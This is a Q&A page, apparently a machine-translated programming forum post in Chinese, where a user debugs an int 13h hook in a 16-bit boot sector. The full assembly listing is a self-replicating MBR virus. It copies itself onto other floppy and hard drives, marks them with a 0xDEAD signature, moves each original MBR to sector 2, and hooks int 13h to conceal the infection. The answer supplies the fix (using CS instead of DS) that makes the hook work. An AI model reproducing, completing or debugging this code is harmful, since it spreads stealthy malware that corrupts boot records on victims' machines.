我在MBR(16位)中编写一个int 13h钩子。我将旧的int vector保存为:
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
因为我在运行时重新定位了代码,所以我必须计算oldint13变量的正确位置。所有罚款和花花公子,当我检查重新定位的oldint13变量的位置时,有正确的地址(0xf000e3f3)。现在我挂钩int 13h之后,我想将原始的int 13h处理程序称为:
call [oldint13-cpy_original+0x7e00]
但它跳到地址0.如果我做了检查:
mov ax, [oldint13-cpy_original+0x7e00]
ax变为0.(oldint13-cpy_original + 0x7e00)正确解析为正确的地址,此地址仍包含正确的原始int 13h向量。即使是反汇编代码也显示:
mov ax, [0x7e48]
这是正确的。
为什么它会返回0呢?是否有16位或其他东西?
我的引导加载程序代码的完整副本如下:
[bits 16]
org 0x7c00
start:
cli ; no interrupt zone
mov BYTE [bootDrive], dl ; save boot drive, this is infected drive
mov sp, 0xFFF8 ; stack pointer
xor ax, ax
mov ds, ax
mov es, ax
; let's save infected mbr to location 0x7e00
mov al, 0x01 ; load 1 sector
mov ah, 0x02 ; read sector
mov bx, 0x7e00 ; destination address + ES
mov cx, 0x0001 ; cylinder 0, sector=1
xor dh, dh ; head 0
call wr_sector
; TODO: read from 0x7c00!!!!
; now it's time to iterate through disks
xor di, di ; our disk counter
dsk_lp:
mov dl, [disk_codes+di] ; load disk code from our table
cmp dl, [bootDrive] ; check if this is our infected drive
je nxt_disk ; this is our drive, just go to the next one
mov ah, 0x02 ; read sector
mov cx, 0x0001 ; cylinder 0, sector=1
mov bx, 0x8000 ; load original mbr to 0x8000
call wr_sector
jc nxt_disk ; if carry is set, disk doesn't exist (most likely)
add bx, sig ; check if this drive is already signed
sub bx, 0x7c00 ; calculated offset for signature
cmp word [bx], 0xDEAD ; compare with our signature 0xDEAD
je nxt_disk ; if already signed, jump to next disk
mov ah, 0x03 ; dirty business, copy our infected mbr to new drive
mov bx, 0x7e00 ; we copied infected mbr to 0x7e00 earlier
call wr_sector ; perform write
mov ah, 0x03
mov cx, 0x0002 ; write original mbr to 2nd sector
mov bx, 0x8000 ; we saved sector to 0x8000
call wr_sector ; perform write
nxt_disk:
inc di ; increment our counter
cmp di, 0x04 ; we are over the available disks
jl dsk_lp ; jump if lower than 4
; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
mov dl, [bootDrive] ; retrieve current boot drive
mov si, cpy_original ; source address
mov di, 0x7e00 ; destination address, 0x7e00 in our case
mov cx, end_cpy ; load end of code address
sub cx, cpy_original ; subtract start of code, cx = code length
rep movsb ; copy stuff from source to dest address
jmp 0x7e00 ; jump to new address
; this code resides on 0x7e00 after copying
cpy_original: ; this code will copy original MBR to 0x7c00
mov ah, 0x02 ; read sector, ah = 0x02
mov cx, 0x0002 ; read 2nd sector
mov bx, 0x7c00 ; dest address
call wr_sector ; copy orignal MBR
; before we jump into org mbr, let's hook int 13h
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
mov ax, dsk_hook
sub ax, cpy_original
add ax, 0x7e00
mov word [0x13*4], ax
mov word [0x13*4+2], 0
;mov ah, 0x02
;mov al, 0x01
;mov cx, 0x0001
;mov bx, 0x8000
;call wr_sector
mov ax, 0xaa55
jmp 0x0:0x7c00 ; far jump to the original MBR
dsk_hook:
nop
pushf
cmp ah, 0x02
jne .end_hook
cmp cx, 0x0001
jne .end_hook
mov cx, 0x0002
.end_hook:
popf
;mov ax, [cs:oldint13-cpy_original+0x7e00]
call [cs:oldint13-cpy_original+0x7e00]
;call 0xe3fe
nop
;mov ax, ax
ret
oldint13:
dd 45 ; var for saving int13 address
; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
mov si, 0x03 ; max number of attempts to read from drive
.lprs:
int 0x13
jnc .endrs ; alright carry was not set, read was successful
dec si ; decrement counter
jc .endrs
pusha
xor ah, ah ; ah = 0, reset disk
int 0x13 ; reset disk, we have to try this at most 3 times
popa
jmp .lprs
.endrs:
retn
end_cpy: ; end of code for copying original MBR
times (218 - ($-$$)) nop ; Pad for disk time stamp
DiskTimeStamp times 8 db 0 ; Disk Time Stamp
bootDrive db 0 ; Our Drive Number Variable
disk_codes: ; available drives variable
db 0x0 ; first floppy disk
db 0x1 ; second floppy disk
db 0x80 ; first hard disk
db 0x81 ; second hard disk
sig dw 0xDEAD
times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table
UID times 10 db 0 ; Unique Disk ID
PT1 times 16 db 0 ; First Partition Entry
PT2 times 16 db 0 ; Second Partition Entry
PT3 times 16 db 0 ; Third Partition Entry
PT4 times 16 db 0 ; Fourth Partition Entry
dw 0xAA55 ; Boot Signature
答案 0 :(得分:0)
this的重复。 MOV隐式使用DS寄存器,这是一个随机数。将它改为CS,这是根据@Michael Petch中断处理程序中唯一正确的寄存器:
mov ax, [cs:oldint13-cpy_original+0x7e00]